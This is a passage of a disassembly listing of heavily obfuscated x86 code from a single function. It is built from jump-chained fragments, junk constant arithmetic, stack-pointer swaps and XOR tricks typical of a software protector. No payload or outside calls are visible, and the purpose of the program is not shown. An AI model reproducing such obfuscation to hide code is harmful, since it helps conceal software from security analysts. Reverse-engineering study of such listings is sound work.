loc_584794:				; CODE XREF: sub_57DD3A+78C0j
		pop	edx
		jmp	loc_58DF07
; ---------------------------------------------------------------------------


loc_58479A:				; CODE XREF: sub_57DD3A+D889j
		mov	edx, 4
		add	[esp+0C8h+var_C4], edx
		jmp	loc_58CAD9
; ---------------------------------------------------------------------------


loc_5847A8:				; CODE XREF: sub_57DD3A+A32Aj
		mov	ecx, [edx]
		pop	edx
		push	[esp+0C4h+var_C4]
		pop	ebx
		jmp	loc_584804
; ---------------------------------------------------------------------------


loc_5847B4:				; CODE XREF: sub_57DD3A+85CCj
		push	ebp
		mov	ebp, 50074473h
		shl	ebp, 8
		sub	ebp, 56912970h
		add	ebp, 19747C49h
		jmp	loc_583C2F
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp+0C6h+var_C8+2], cl
		pushf
		jmp	loc_589D25
; ---------------------------------------------------------------------------


loc_5847DE:				; CODE XREF: sub_57DD3A+94E1j
		shl	eax, 1
		jmp	loc_581A3D
; ---------------------------------------------------------------------------


loc_5847E5:				; CODE XREF: sub_57DD3A+B34Fj
		pop	ebx
		add	esp, 4
		xor	[edi+20h], ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+0C2h+var_C4+2], eax
		mov	eax, 4A407663h
		sub	eax, 5AED4902h
		not	eax
		jmp	loc_582D42
; ---------------------------------------------------------------------------


loc_584804:				; CODE XREF: sub_57DD3A+6A75j
		add	esp, 4
		jmp	loc_58D85A
; ---------------------------------------------------------------------------


loc_58480C:				; CODE XREF: sub_57DD3A+4112j
		add	edi, 621306EBh
		sub	esp, 4
		jmp	loc_58CC37
; ---------------------------------------------------------------------------


loc_58481A:				; CODE XREF: sub_57DD3A+EFE7j
		pop	ecx
		sub	edx, 11093CB4h
		jmp	loc_58B45B
; ---------------------------------------------------------------------------


loc_584826:				; CODE XREF: sub_57DD3A+4950j
		add	bl, 93h
		sub	bl, al
		jmp	loc_587247
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_58DF65
; ---------------------------------------------------------------------------


loc_584836:				; CODE XREF: sub_57DD3A+3F0Bj
		pop	ebx
		jmp	loc_584A92
; ---------------------------------------------------------------------------


loc_58483C:				; CODE XREF: sub_57DD3A+FD7Fj
		push	small 6509h
		jmp	loc_58DADD
; ---------------------------------------------------------------------------


loc_584845:				; CODE XREF: sub_57DD3A+4172j
		mov	edi, 4
		add	ecx, edi
		push	[esp+82h+var_84+2]
		mov	edi, [esp+86h+var_88+2]
		jmp	loc_589F7F
; ---------------------------------------------------------------------------


loc_584857:				; CODE XREF: sub_57DD3A+7C32j
		push	eax
		pop	ecx
		pop	eax
		sub	[edi+24h], ecx
		pop	ecx


loc_58485E:				; CODE XREF: sub_57DD3A+C445j
		sub	esp, 4
		mov	[esp+82h+var_84+2], ebx
		push	[esp+82h+var_84+2]
		pop	eax
		jmp	loc_5823A8
; ---------------------------------------------------------------------------


loc_584870:				; CODE XREF: sub_57DD3A+7735j
		sub	ebp, 48C94758h
		dec	ebp
		sub	ebp, 0B8A2B689h
		jmp	loc_58649A
; ---------------------------------------------------------------------------


loc_584882:				; CODE XREF: sub_57DD3A+48CFj
		mov	[esp+8Ch+var_8C], ebx
		sub	[esp+8Ch+var_8C], 67A74C10h
		mov	eax, [esp+8Ch+var_8C]
		push	eax
		jmp	loc_58CAC4
; ---------------------------------------------------------------------------


loc_584895:				; CODE XREF: sub_57DD3A+6CC3j
		mov	ebp, 235E3313h
		sub	ebp, 0E93670C3h
		xor	edi, ebp
		pop	ebp
		push	edi
		jmp	loc_586807
; ---------------------------------------------------------------------------


loc_5848A9:				; CODE XREF: sub_57DD3A+A767j
		push	ebx
		push	[esp+94h+var_90]
		pop	ebx
		pop	[esp+94h+var_94]
		pop	esp
		push	edx
		jmp	loc_589AC4
; ---------------------------------------------------------------------------


loc_5848B9:				; CODE XREF: sub_57DD3A+10096j
		mov	edi, 0C921459h
		and	edi, 67E348E0h
		or	edi, 2EA019F0h
		jmp	loc_589DE6
; ---------------------------------------------------------------------------


loc_5848CF:				; CODE XREF: sub_57DD3A+CC36j
		mov	edx, 41E8757Dh
		jmp	loc_5821BD
; ---------------------------------------------------------------------------


loc_5848D9:				; CODE XREF: sub_57DD3A+D945j
		add	esi, 3232784Bh
		push	[esp+90h+var_90]
		pop	eax
		jmp	loc_58A5BA
; ---------------------------------------------------------------------------


loc_5848E8:				; CODE XREF: sub_57DD3A+7FC6j
		mov	eax, esi
		pop	esi
		sub	eax, 1801012Ch
		push	ecx
		mov	ecx, 57B44D11h
		not	ecx
		xor	ecx, 9B3991BEh
		add	eax, ecx
		jmp	loc_5871D4
; ---------------------------------------------------------------------------


loc_584905:				; CODE XREF: sub_57DD3A+3CCCj
		add	esp, 4
		jmp	loc_58A9BE
; ---------------------------------------------------------------------------


loc_584910:				; CODE XREF: sub_57DD3A+C20Fj
		sub	ecx, 62F211D1h
		add	ecx, esi
		add	ecx, 62F211D1h
		pop	esi
		add	ecx, 4
		xor	ecx, [esp+5Ah+var_5C+2]
		jmp	loc_5825F5
; ---------------------------------------------------------------------------


loc_58492D:				; CODE XREF: sub_57DD3A+B2FDj
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp+56h+var_58+2]
		mov	esp, [esp+56h+var_58+2]
		mul	ecx
		push	ebp
		mov	ebp, esp
		push	4AB4h
		mov	[esp+5Eh+var_60+2], edx
		mov	edx, 4E91674h
		and	edx, 29184714h
		jmp	loc_582301
; ---------------------------------------------------------------------------


loc_584953:				; CODE XREF: sub_57DD3A+5350j
		push	4DAAh
		mov	[esp+90h+var_90], ecx
		mov	cl, 9
		jmp	loc_58CE16
; ---------------------------------------------------------------------------


loc_584962:				; CODE XREF: sub_57DD3A+48D9j
		mov	esi, [esp+90h+var_90]
		jmp	loc_58C8B0
; ---------------------------------------------------------------------------


loc_58496A:				; CODE XREF: sub_57DD3A+FCE5j
		mov	[esp+90h+var_90], edi
		jmp	loc_587926
; ---------------------------------------------------------------------------


loc_584972:				; CODE XREF: sub_57DD3A+EBB8j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_582AC8
; ---------------------------------------------------------------------------


loc_584986:				; CODE XREF: sub_57DD3A+F9D0j
		add	esp, 2
		push	edx
		mov	dl, 0C0h
		sub	dl, 0FFh
		jmp	loc_5877D5
; ---------------------------------------------------------------------------


loc_584994:				; CODE XREF: sub_57DD3A+C62Dj
		add	esi, 0FFFFFFFFh
		xor	esi, 0F9DEFFF6h
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp+90h+var_90]
		mov	esp, [esp+90h+var_90]
		idiv	cx
		jmp	loc_5846D4
; ---------------------------------------------------------------------------


loc_5849B1:				; CODE XREF: sub_57DD3A+A4BBj
		push	ebx
		mov	bh, 87h
		shr	bh, 4
		shl	bh, 3
		inc	bh
		and	bh, 0BEh
		xor	bh, 0BEh
		add	dl, bh
		pop	ebx
		sub	cl, 0BCh
		sub	cl, dl
		add	cl, 0BCh
		pop	edx
		sub	al, cl
		pop	ecx
		push	edx
		jmp	loc_58D7DD
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+8Ch+var_8C]
		jmp	loc_58D5DD
; ---------------------------------------------------------------------------


loc_5849E0:				; CODE XREF: sub_57DD3A+9C50j
		add	dl, 5Bh
		xor	dl, 4Bh
		jmp	loc_58B4EB
; ---------------------------------------------------------------------------


loc_5849EB:				; CODE XREF: sub_57DD3A+7CBAj
		mov	bl, 0F9h
		jmp	loc_58CB67
; ---------------------------------------------------------------------------


loc_5849F2:				; CODE XREF: sub_57DD3A+FB22j
		mov	edi, 4B95220Dh
		not	edi
		shr	edi, 4
		push	ebp
		jmp	loc_584895
; ---------------------------------------------------------------------------


loc_584A02:				; CODE XREF: sub_57DD3A+9DC4j
		shl	ebx, 5
		sub	ebx, 37BC653Ch
		sub	ebp, 6DAC0FC4h
		add	ebp, ebx
		add	ebp, 6DAC0FC4h
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp+8Ch+var_8C]
		mov	esp, [esp+8Ch+var_8C]
		mov	[esp+8Ch+var_8C], ecx
		jmp	loc_5818C9
; ---------------------------------------------------------------------------
		push	[esp+8Ch+var_8C]
		jmp	loc_5861FA
; ---------------------------------------------------------------------------


loc_584A36:				; CODE XREF: sub_57DD3A+6463j
		pop	edx
		jmp	loc_5844F9
; ---------------------------------------------------------------------------


loc_584A3C:				; CODE XREF: sub_57DD3A+A510j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+90h+var_90]
		pop	esp
		mov	[esp+8Ch+var_8C], ebp
		push	edi
		jmp	loc_58B093
; ---------------------------------------------------------------------------


loc_584A57:				; CODE XREF: sub_57DD3A+AA2Fj
		sub	eax, 49945ED6h
		sub	eax, 414EA170h
		push	eax
		mov	esi, [esp+94h+var_94]
		jmp	loc_58AF2F
; ---------------------------------------------------------------------------


loc_584A6A:				; CODE XREF: sub_57DD3A+5EB9j
		sub	edx, eax
		pop	eax
		xor	edx, 567A1737h
		neg	edx
		jmp	loc_589F9F
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+72h+var_74+2]
		jmp	loc_58B02F
; ---------------------------------------------------------------------------


loc_584A83:				; CODE XREF: sub_57DD3A+10057j
		add	esi, 4
		xchg	esi, [esp+72h+var_74+2]
		pop	esp
		movsx	ecx, al
		jmp	loc_58ACA8
; ---------------------------------------------------------------------------


loc_584A92:				; CODE XREF: sub_57DD3A+6AFDj
		push	edi
		mov	edi, 50FC71C8h
		neg	edi
		sub	edi, 0AF038E34h
		add	eax, edi
		pop	edi
		xchg	eax, [esp+80h+var_80]
		mov	esp, [esp+80h+var_80]
		shr	eax, 0Bh
		xor	ecx, eax
		sub	esp, 4
		mov	[esp+84h+var_84], ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 269A2432h
		push	edi
		mov	edi, 529B591Fh
		add	edi, 63AB0CD4h
		sub	edi, 5B183C42h
		add	ebx, edi
		pop	edi
		push	edi
		mov	edi, 341E5F87h
		or	ebx, edi
		pop	edi
		and	ebx, 19777E6Eh
		sub	ebx, 11565E62h
		add	ecx, ebx
		jmp	loc_5843A3
; ---------------------------------------------------------------------------


loc_584AF0:				; CODE XREF: sub_57DD3A+977Fj
		add	ecx, 515B240Dh
		pop	eax
		push	ecx
		push	[esp+88h+var_84]
		pop	ecx
		pop	[esp+88h+var_88]
		pop	esp
		movzx	cx, al
		sub	esp, 4
		mov	[esp+84h+var_84], esi
		push	esp
		pop	esi
		add	esi, 4
		push	5B47h
		mov	[esp+88h+var_88], edx
		mov	edx, 2
		jmp	loc_58D900
; ---------------------------------------------------------------------------


loc_584B25:				; CODE XREF: sub_57DD3A+C2B7j
		push	[esp+88h+var_88]
		pop	edx
		add	esp, 4
		add	al, cl
		pop	ecx
		add	bl, 8Ah
		jmp	loc_58C21C
; ---------------------------------------------------------------------------


loc_584B3A:				; CODE XREF: sub_57DD3A+79DBj
		mov	edx, 2D5C2198h
		jmp	loc_58D736
; ---------------------------------------------------------------------------


loc_584B44:				; CODE XREF: sub_57DD3A+E733j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+80h+var_80]
		jmp	loc_584FB5
; ---------------------------------------------------------------------------


loc_584B57:				; CODE XREF: sub_57DD3A+100D6j
		not	ebp
		and	ebp, 2FD307F3h
		sub	ebp, 0DC73FBC2h
		sub	ebx, ebp
		jmp	loc_589081
; ---------------------------------------------------------------------------


loc_584B6C:				; CODE XREF: sub_57DD3A+8B78j
		add	esp, 4
		jmp	loc_581915
; ---------------------------------------------------------------------------


loc_584B74:				; CODE XREF: sub_57DD3A+5E9Fj
		push	6551h
		mov	[esp+7Ah+var_7C+2], esi
		mov	esi, 2AE04065h
		sub	esp, 4
		mov	[esp+7Eh+var_80+2], ecx
		mov	ecx, esi
		mov	ebp, ecx
		pop	ecx
		mov	esi, [esp+7Ah+var_7C+2]
		add	esp, 4
		push	edx
		mov	edx, 4D2C3645h
		add	eax, edx
		mov	edx, [esp+7Ah+var_7C+2]
		add	esp, 4
		jmp	loc_586D93
; ---------------------------------------------------------------------------


loc_584BAB:				; CODE XREF: sub_57DD3A+C1ACj
		xor	edx, 351D036h
		add	eax, edx
		jmp	loc_582DA2
; ---------------------------------------------------------------------------


loc_584BB8:				; CODE XREF: sub_57DD3A+74D5j
		push	0
		sub	byte ptr [esp+7Ah+var_7C+2], dl
		mov	dl, byte ptr [esp+7Ah+var_7C+2]
		add	esp, 4
		jmp	loc_58642E
; ---------------------------------------------------------------------------


loc_584BCB:				; CODE XREF: sub_57DD3A+C005j
		sub	esp, 4
		mov	[esp+7Ah+var_7C+2], edi
		push	edx
		jmp	loc_585278
; ---------------------------------------------------------------------------


loc_584BD7:				; CODE XREF: sub_57DD3A+C82Cj
		xor	esi, [esp+7Eh+var_80+2]
		xor	[esp+7Eh+var_80+2], esi
		xor	esi, [esp+7Eh+var_80+2]
		mov	esp, [esp+7Eh+var_80+2]
		inc	byte ptr [esp+7Eh+var_80+2]
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_584BEC:				; CODE XREF: sub_57DD3A+BFE6j
		add	ebx, ecx
		push	[esp+82h+var_84+2]
		jmp	loc_589133
; ---------------------------------------------------------------------------


loc_584BF6:				; CODE XREF: sub_57DD3A+69B5j
		add	eax, 36477A81h
		mov	esi, [esp+5Eh+var_60+2]
		sub	esp, 4
		mov	[esp+62h+var_64+2], edi
		jmp	loc_589C51
; ---------------------------------------------------------------------------


loc_584C0C:				; CODE XREF: sub_57DD3A+7A47j
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp+62h+var_64+2]
		xor	[esp+62h+var_64+2], esi
		jmp	loc_589166
; ---------------------------------------------------------------------------


loc_584C23:				; CODE XREF: sub_57DD3A+C8FAj
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_584C28:				; CODE XREF: sub_57DD3A+84C8j
		mov	[esp+62h+var_64+2], esp
		add	[esp+62h+var_64+2], 4
		jmp	loc_58BFE3
; ---------------------------------------------------------------------------


loc_584C37:				; CODE XREF: sub_57DD3A+5063j
		xor	edi, ebp
		pop	ebp
		jmp	loc_58878F
; ---------------------------------------------------------------------------


loc_584C3F:				; CODE XREF: sub_57DD3A+529Ej
		mov	[esp+88h+var_88], ebx
		push	edx
		push	1D507621h
		mov	edx, [esp+90h+var_90]
		add	esp, 4
		jmp	loc_58885B
; ---------------------------------------------------------------------------


loc_584C56:				; CODE XREF: sub_57DD3A+A252j
		add	ebp, 0F02BBC45h
		mov	eax, ebp
		pop	ebp
		add	esi, eax
		mov	eax, [esp+88h+var_88]
		add	esp, 4
		xor	esi, [esp+84h+var_84]
		xor	[esp+84h+var_84], esi
		xor	esi, [esp+84h+var_84]
		jmp	loc_58D018
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+84h+var_84]
		push	17D9h
		mov	[esp+88h+var_88], edi
		sub	esp, 4
		mov	[esp+8Ch+var_8C], esp
		add	[esp+8Ch+var_8C], 4
		mov	edi, [esp+8Ch+var_8C]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_585152
; ---------------------------------------------------------------------------


loc_584CA2:				; CODE XREF: sub_57DD3A+930Dj
		push	edi
		jmp	loc_588AE5
; ---------------------------------------------------------------------------


loc_584CA8:				; CODE XREF: sub_57DD3A+D180j
		xchg	eax, [esp+90h+var_90]
		pop	esp
		jmp	loc_589353
; ---------------------------------------------------------------------------


loc_584CB1:				; CODE XREF: sub_57DD3A+5367j
		push	ebp
		mov	ebp, 23114CAEh
		shr	ebp, 2
		dec	ebp
		shl	ebp, 4
		jmp	loc_588260
; ---------------------------------------------------------------------------


loc_584CC3:				; CODE XREF: sub_57DD3A+E1DDj
		mov	[esp+90h+var_90], edx
		jmp	loc_589192
; ---------------------------------------------------------------------------


loc_584CCB:				; CODE XREF: sub_57DD3A+436Ej
		pop	[esp+66h+var_68+2]
		mov	esp, [esp+62h+var_64+2]
		shl	[esp+62h+var_64+2], cl
		pushf
		jmp	loc_586E03
; ---------------------------------------------------------------------------


loc_584CDA:				; CODE XREF: sub_57DD3A+ED5Ej
		add	esp, 4
		jmp	loc_58281B
; ---------------------------------------------------------------------------


loc_584CE2:				; CODE XREF: sub_57DD3A+4891j
		pop	edi
		mov	ebp, [esp+70h+var_70]
		jmp	loc_5835D0
; ---------------------------------------------------------------------------


loc_584CEB:				; CODE XREF: sub_57DD3A+843Ej
		mov	ebp, [esp+70h+var_70]
		push	edi
		push	esp
		mov	edi, [esp+78h+var_78]
		add	esp, 4
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+74h+var_74]
		pop	esp
		pop	eax
		jmp	loc_58B804
; ---------------------------------------------------------------------------


loc_584D0C:				; CODE XREF: sub_57DD3A+CBABj
		mov	edi, 0FB342EDh
		shl	edi, 2
		shl	edi, 2
		inc	edi
		push	edx
		mov	edx, 12373E79h
		push	eax
		mov	eax, 41B1333Ah
		and	eax, 1B3D6737h
		jmp	loc_58ACE8
; ---------------------------------------------------------------------------


loc_584D2E:				; CODE XREF: sub_57DD3A+9D8Fj
		mov	esi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 2866403Fh
		jmp	loc_587259
; ---------------------------------------------------------------------------


loc_584D3C:				; CODE XREF: sub_57DD3A+A88Bj
		add	eax, edi
		sub	eax, 45B73C9h
		pop	edi
		add	ebp, 0F746E5Ah
		sub	ebp, 6D4A63E9h
		add	ebp, eax
		add	ebp, 6D4A63E9h
		sub	ebp, 0F746E5Ah
		mov	eax, [esp+70h+var_70]
		push	esi
		mov	esi, esp
		jmp	loc_5877B3
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+74h+var_74]
		jmp	loc_587872
; ---------------------------------------------------------------------------


loc_584D72:				; CODE XREF: sub_57DD3A+783Cj
		xor	ebp, 0ECB62CA5h
		mov	ecx, ebp
		pop	ebp
		add	ecx, 4594FEFBh
		or	esi, ecx
		pop	ecx
		add	esi, 24CB8BF8h
		or	ebp, esi
		jmp	loc_58CD7D
; ---------------------------------------------------------------------------


loc_584D91:				; CODE XREF: sub_57DD3A+9889j
		push	20F5h
		push	esp
		pop	[esp+74h+var_74]
		jmp	loc_587433
; ---------------------------------------------------------------------------


loc_584D9F:				; CODE XREF: sub_57DD3A+8C91j
		push	edi
		mov	edi, 71CA33CBh
		xor	edi, 0E280C0Ch
		dec	edi
		not	edi
		add	edi, 8AF8783Fh
		mov	esi, edi
		pop	edi
		jmp	loc_58DB82
; ---------------------------------------------------------------------------


loc_584DBC:				; CODE XREF: sub_57DD3A+56A9j
		mov	[esp+0D0h+var_D0], ebp
		push	ebx
		mov	ebx, 70230F59h
		mov	ebp, 0C5441599h
		sub	ebp, 4783616Eh
		sub	ebp, ebx
		jmp	loc_58AC78
; ---------------------------------------------------------------------------


loc_584DD7:				; CODE XREF: sub_57DD3A+A134j
		pop	eax
		add	ecx, 2
		push	ecx
		jmp	loc_58D11F
; ---------------------------------------------------------------------------


loc_584DE4:				; CODE XREF: sub_57DD3A+8CCAj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_58CC17
		push	esi
		jmp	loc_588C76
; ---------------------------------------------------------------------------


loc_584DF4:				; CODE XREF: sub_57DD3A+8DAEj
		pop	ebx
		sub	ecx, 2993C7A8h
		jmp	loc_58B6DE
; ---------------------------------------------------------------------------


loc_584E00:				; CODE XREF: sub_57DD3A+ADD6j
		push	ebp
		push	eax
		mov	eax, 0EF43A06h
		mov	ebp, 4155A5F0h
		sub	ebp, eax
		mov	eax, [esp+0DCh+var_DC]
		add	esp, 4
		mov	esi, 66AA5304h
		jmp	loc_58D291
; ---------------------------------------------------------------------------


loc_584E1E:				; CODE XREF: sub_57DD3A+DB60j
		sub	eax, 40A95D03h
		mov	edx, [esp+0D8h+var_D8]
		jmp	loc_58A408
; ---------------------------------------------------------------------------


loc_584E2B:				; CODE XREF: sub_57DD3A+FF3Ej
		sub	ebx, esi
		xor	esi, ebx
		xor	ebx, esi
		xor	esi, ebx
		pop	ebx
		push	eax
		jmp	loc_58C335
; ---------------------------------------------------------------------------


loc_584E3A:				; CODE XREF: sub_57DD3A+85F3j
		xchg	edx, [esp+0D8h+var_D8]
		pop	esp
		jmp	loc_589824
; ---------------------------------------------------------------------------


loc_584E43:				; CODE XREF: sub_57DD3A+F1A7j
		xchg	ecx, [esp+0D4h+var_D4]
		pop	esp
		jmp	loc_586D6D
; ---------------------------------------------------------------------------


loc_584E4C:				; CODE XREF: sub_57DD3A+75F7j
		xor	[esp+0D0h+var_D0], edi
		xor	edi, [esp+0D0h+var_D0]
		pop	esp
		jmp	loc_581EEE
; ---------------------------------------------------------------------------


loc_584E58:				; CODE XREF: sub_57DD3A+6744j
		mov	[esp+0B8h+var_B8], edx
		push	[esp+0B8h+var_B4]
		jmp	loc_5820D5
; ---------------------------------------------------------------------------


loc_584E64:				; CODE XREF: sub_57DD3A+D9CCj
		mov	[esp+0BCh+var_BC], esi
		push	edx
		mov	edx, 1B735226h
		jmp	loc_58AD09
; ---------------------------------------------------------------------------


loc_584E72:				; CODE XREF: sub_57DD3A+B69Bj
		push	0C1A4EE9h
		pop	edi
		jmp	loc_582A97
; ---------------------------------------------------------------------------


loc_584E7D:				; CODE XREF: sub_57DD3A+431Dj
		dec	edx
		push	ebx
		mov	ebx, 6C015026h
		inc	ebx
		jmp	loc_583199
; ---------------------------------------------------------------------------


loc_584E8A:				; CODE XREF: sub_57DD3A+BB10j
		mov	edi, [esp+72h+var_74+2]
		jmp	loc_5832D1
; ---------------------------------------------------------------------------


loc_584E92:				; CODE XREF: sub_57DD3A+AE90j
		add	ecx, 738A7B50h
		add	ecx, ebp
		jmp	loc_589B45
; ---------------------------------------------------------------------------


loc_584E9F:				; CODE XREF: sub_57DD3A+E1A6j
		xchg	ebp, [esp+72h+var_74+2]
		pop	esp
		push	28E4h
		jmp	loc_5873DC
; ---------------------------------------------------------------------------


loc_584EAD:				; CODE XREF: sub_57DD3A+A613j
		add	al, cl
		pop	ecx
		mov	edx, [esp+6Eh+var_70+2]
		add	esp, 4
		sub	esp, 2
		jmp	loc_58A4C7
; ---------------------------------------------------------------------------


loc_584EC4:				; CODE XREF: sub_57DD3A+AC48j
		sub	bl, 0B2h
		jmp	loc_58B55B
; ---------------------------------------------------------------------------


loc_584ECC:				; CODE XREF: sub_57DD3A+C227j
		mov	eax, 4C033B90h
		sub	eax, 4C033B8Ch
		jmp	loc_58A258
; ---------------------------------------------------------------------------


loc_584EDB:				; CODE XREF: sub_57DD3A+DDA5j
		push	ebp
		sub	esp, 4
		mov	[esp+76h+var_78+2], esp
		add	[esp+76h+var_78+2], 4
		jmp	loc_58BB84
; ---------------------------------------------------------------------------


loc_584EEB:				; CODE XREF: sub_57DD3A+81DDj
		pop	ecx
		add	eax, 0E011606h
		add	eax, edi
		sub	eax, 0E011606h
		jmp	loc_585ED2
; ---------------------------------------------------------------------------


loc_584EFD:				; CODE XREF: sub_57DD3A+90C4j
		add	esi, eax
		add	esi, 8191D6Bh
		push	ebp
		push	esi
		mov	esi, 5FA952EEh
		mov	ebp, 0C16CD02h
		add	ebp, esi
		pop	esi
		sub	esp, 4
		mov	[esp+7Ah+var_7C+2], edx
		mov	edx, 0
		sub	edx, 3CDD63CFh
		jmp	loc_5829B1
; ---------------------------------------------------------------------------


loc_584F2D:				; CODE XREF: sub_57DD3A+6832j
		add	eax, 4B4D125Dh
		mov	edi, [esp+8Ch+var_8C]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_588104
; ---------------------------------------------------------------------------


loc_584F43:				; CODE XREF: sub_57DD3A+C541j
		add	ebx, 4
		jmp	loc_588D02
; ---------------------------------------------------------------------------


loc_584F4B:				; CODE XREF: sub_57DD3A+7289j
		push	[esp+90h+var_8C]
		pop	ebx
		pop	[esp+90h+var_90]
		pop	esp
		jmp	loc_5838B5
; ---------------------------------------------------------------------------


loc_584F59:				; CODE XREF: sub_57DD3A+88EFj
		not	ch
		add	ch, 91h
		xchg	ah, ch
		not	ah
		xchg	ah, ch
		jmp	loc_587A0C
; ---------------------------------------------------------------------------


loc_584F69:				; CODE XREF: sub_57DD3A+4816j
		add	dl, 0A2h
		add	al, dl
		mov	edx, [esp+0A8h+var_A8]
		jmp	loc_58B6AC
; ---------------------------------------------------------------------------


loc_584F76:				; CODE XREF: sub_57DD3A+CAACj
		push	7744h
		mov	[esp+0ACh+var_AC], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_58DA56
; ---------------------------------------------------------------------------


loc_584F8A:				; CODE XREF: sub_57DD3A+931Bj
		mov	[esp+0ACh+var_AC], ebx
		jmp	loc_583AC9
; ---------------------------------------------------------------------------


loc_584F92:				; CODE XREF: sub_57DD3A+5B3Dj
		mov	[esp+0B8h+var_B8], eax
		mov	eax, 50650974h
		sub	eax, 347ABB00h
		sub	ebp, eax
		pop	eax
		jmp	loc_5880C1
; ---------------------------------------------------------------------------


loc_584FA7:				; CODE XREF: sub_57DD3A+96ACj
		push	[esp+0B4h+var_B4]
		push	[esp+0B8h+var_B8]
		push	[esp+0BCh+var_BC]
		jmp	loc_58C16C
; ---------------------------------------------------------------------------


loc_584FB5:				; CODE XREF: sub_57DD3A+6E18j
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_584F4B
; ---------------------------------------------------------------------------


loc_584FC8:				; CODE XREF: sub_57DD3A+5133j
		push	ebx
		jmp	loc_58876E
; ---------------------------------------------------------------------------


loc_584FCE:				; CODE XREF: sub_57DD3A+7E5Dj
		push	4E55h
		mov	[esp+78h+var_78], ebx
		jmp	loc_58AB45
; ---------------------------------------------------------------------------


loc_584FDB:				; CODE XREF: sub_57DD3A+DCFFj
		not	bl
		mov	dl, bl
		pop	bx
		push	ebx
		mov	bh, 0D2h
		jmp	loc_5832B5
; ---------------------------------------------------------------------------


loc_584FE9:				; CODE XREF: sub_57DD3A+7DAEj
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp+76h+var_78+2]
		pop	esp
		mov	ecx, [esp+72h+var_74+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+76h+var_78+2]
		jmp	loc_5853BD
; ---------------------------------------------------------------------------


loc_58500A:				; CODE XREF: sub_57DD3A+DE45j
		xor	ecx, [esp+76h+var_78+2]
		pop	esp
		add	edx, 0EFB963BCh
		mov	ebp, edx
		pop	edx
		xor	ebp, ecx
		mov	ecx, [esp+6Eh+var_70+2]
		add	esp, 4
		and	ecx, ebp
		pop	ebp
		shr	ecx, 7
		jmp	loc_5835F3
; ---------------------------------------------------------------------------


loc_58502D:				; CODE XREF: sub_57DD3A+DBA1j
		push	[esp+66h+var_68+2]
		jmp	loc_583B73
; ---------------------------------------------------------------------------
		push	[esp+6Ah+var_6C+2]
		push	[esp+6Eh+var_70+2]
		pop	ecx
		push	7CEh
		mov	[esp+72h+var_74+2], esi
		jmp	loc_58D27E
; ---------------------------------------------------------------------------


loc_585049:				; CODE XREF: sub_57DD3A+79CDj
		push	ebx
		mov	ebx, 61184E37h
		jmp	loc_584785
; ---------------------------------------------------------------------------


loc_585054:				; CODE XREF: sub_57DD3A+8207j
		mov	esp, [esp+76h+var_78+2]
		push	502Bh
		mov	[esp+7Ah+var_7C+2], ebp
		mov	ebp, 70320FC8h
		jmp	loc_584029
; ---------------------------------------------------------------------------


loc_585069:				; CODE XREF: sub_57DD3A+89E0j
		add	[esp+7Ah+var_7C+2], 4
		pop	eax
		push	edx
		mov	edx, 4
		jmp	loc_58AE9D
; ---------------------------------------------------------------------------


loc_58507C:				; CODE XREF: sub_57DD3A+60D8j
		push	ebx
		jmp	loc_58D7AC
; ---------------------------------------------------------------------------


loc_585082:				; CODE XREF: sub_57DD3A+5DEDj
		pop	edx
		shl	edx, 7
		jmp	loc_5833B5
; ---------------------------------------------------------------------------


loc_58508B:				; CODE XREF: sub_57DD3A+B691j
		xchg	ebp, [esp+88h+var_88]
		pop	esp
		add	edx, 4
		jmp	loc_584478
; ---------------------------------------------------------------------------


loc_58509A:				; CODE XREF: sub_57DD3A+3F67j
		pop	ebp
		jmp	loc_58D7C5
; ---------------------------------------------------------------------------


loc_5850A0:				; CODE XREF: sub_57DD3A+765Bj
		add	[esp+80h+var_7C], 613C0879h
		add	[esp+80h+var_7C], edx
		jmp	loc_58D191
; ---------------------------------------------------------------------------


loc_5850B1:				; CODE XREF: sub_57DD3A+7F0Fj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+80h+var_80]
		jmp	loc_581D44
; ---------------------------------------------------------------------------


loc_5850C3:				; CODE XREF: sub_57DD3A+C796j
		push	dx
		push	eax
		mov	al, 92h
		sub	al, 0F0h
		jmp	loc_58D7D0
; ---------------------------------------------------------------------------


loc_5850CF:				; CODE XREF: sub_57DD3A+E7F9j
		mov	esp, [esp+86h+var_88+2]
		or	eax, eax
		jz	loc_587FF3
		push	dword ptr [edi+28h]
		push	[esp+8Ah+var_8C+2]
		push	[esp+8Eh+var_90+2]
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+92h+var_94+2]
		mov	esp, [esp+92h+var_94+2]
		push	2AB4h
		mov	[esp+96h+var_98+2], ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 417450Dh
		inc	ebx
		xor	ebx, 49D32926h
		not	ebx
		sub	ebx, 198B2023h
		or	ebx, 202E0E92h
		xor	ebx, 0B8BE7FB2h
		add	ecx, ebx
		pop	ebx
		jmp	loc_581CAF
; ---------------------------------------------------------------------------


